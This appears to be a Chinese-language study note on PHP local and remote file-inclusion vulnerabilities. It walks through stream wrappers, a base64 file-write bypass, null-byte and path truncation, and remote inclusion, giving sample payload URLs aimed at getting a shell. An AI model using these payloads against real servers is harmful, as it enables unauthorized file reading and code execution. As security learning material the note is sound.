檔案包含總結--2018自我整理
0x00前言
使用者的一些行為會將伺服器某些檔案比如日誌,session等寫入資訊,如果有php頁面能夠把寫入的惡意程式碼其包含進來,就可能getshell
0x01檔案包含的函式
include, include_once,require,require_one引入檔案時,利用引數拼接成路徑,而引數如果可控則造成的問題。
這四個函式雖然存在細微的不同,但是功能都大差不差
0x02檔案包含可用的協議
1.php://input => 讀取到訪問請求的原始資料的只讀流,即讀取POST上沒有經過解析的資料。不支援multipart/form-data的型別的傳碼方式上傳。
resource= 要過濾的資料流
read = 讀鏈的篩選列表 write = 寫鏈的篩選列表 convert.base64-encode =>開啟後是base64編碼後的
該協議使用沒有配置檔案的限制,它可以讀檔案
http://127.0.0.1/test/include.php?a=php://filter/read=convert.base64-encode/resource=fupload.php #讀取檔案,將內容base64編碼輸出
3.zip:// => 將壓縮包裡面的檔案讀取出來,幷包含讀取的檔案,檔案路徑必須為絕對路徑
http://127.0.0.1/test/include.php?a=zip://D:/phpstudy/WWW/test/hello.zip%23hello.txt // %23是#編碼,因為要會和url中#定為衝突
4.phar:// => 將壓縮包裡面的檔案讀取出來,幷包含讀取的檔案,檔案路徑可用是相對路徑
http://127.0.0.1/test/include.php?a=phar://hello.zip/hello.txt
關於file_get_contents()函式
在file_get_contents()中可以用php://filter協議進行寫檔案
這個函式在處理/.這個的時候會在寫入的時候給自動刪除。因此如果前面對字尾進行正則匹配
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename))
詳細原理http://wonderkun.cc/index.html/?p=626
使用方法
file_put_contents('php://filter/write=convert.base64-encode/resource=hello.php/.', 'PD9waHAgZWNobyAiaGVsbG8iOz8+'); #可以將base64解碼內容寫進去,並且不會儲存/.
0x03包含的2種形式
本地包含
只要使用了include,require等包含的函式,就能本地包含
有時候會存在這個,新增字尾的過濾,導致無法隨性所有的包含檔案
include $path . "txt";
在php5.3即以下可用使用%00截斷
http://127.0.0.1/test/get.php?file=hack.php%00
在php5.2.8以下能使用路徑截斷
window伺服器利用256個. linux利用2038個/.組合來截斷副檔名
http://127.0.0.1/test/get.php?file=hack.php........................................[256個]
http://127.0.0.1/test/get.php?file=hack.php/./././././././././././././[2038個]./././././.
遠端包含
遠端包含是跨地址的包含,即包含另外臺伺服器的頁面
前提是在php.ini裡面的allow_url_include=ON和allow_url_fopen=ON, allow_url_fopen預設是ON,allow_url_include在 php 5.2 後是OFF
http://127.0.0.1/test/include.php?a=http://www.baidu.com